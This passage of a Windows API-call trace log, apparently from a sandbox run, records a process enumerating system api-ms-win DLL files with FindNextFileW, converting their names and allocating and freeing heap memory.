lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x1d7c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.326] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x1d7c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0031.326] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.326] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.327] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1d7c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.327] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1d7c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.327] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.327] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.327] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.327] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1d7c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.328] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x1d7c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.328] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1d7c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.328] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.328] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.328] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0031.329] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1d7c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0031.329] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.329] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.329] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.329] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.329] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.329] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.329] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0031.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1d7c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0031.329] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0031.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d7c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0031.329] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.329] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0031.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.330] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d7c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0031.330] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d7c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0031.330] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0031.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 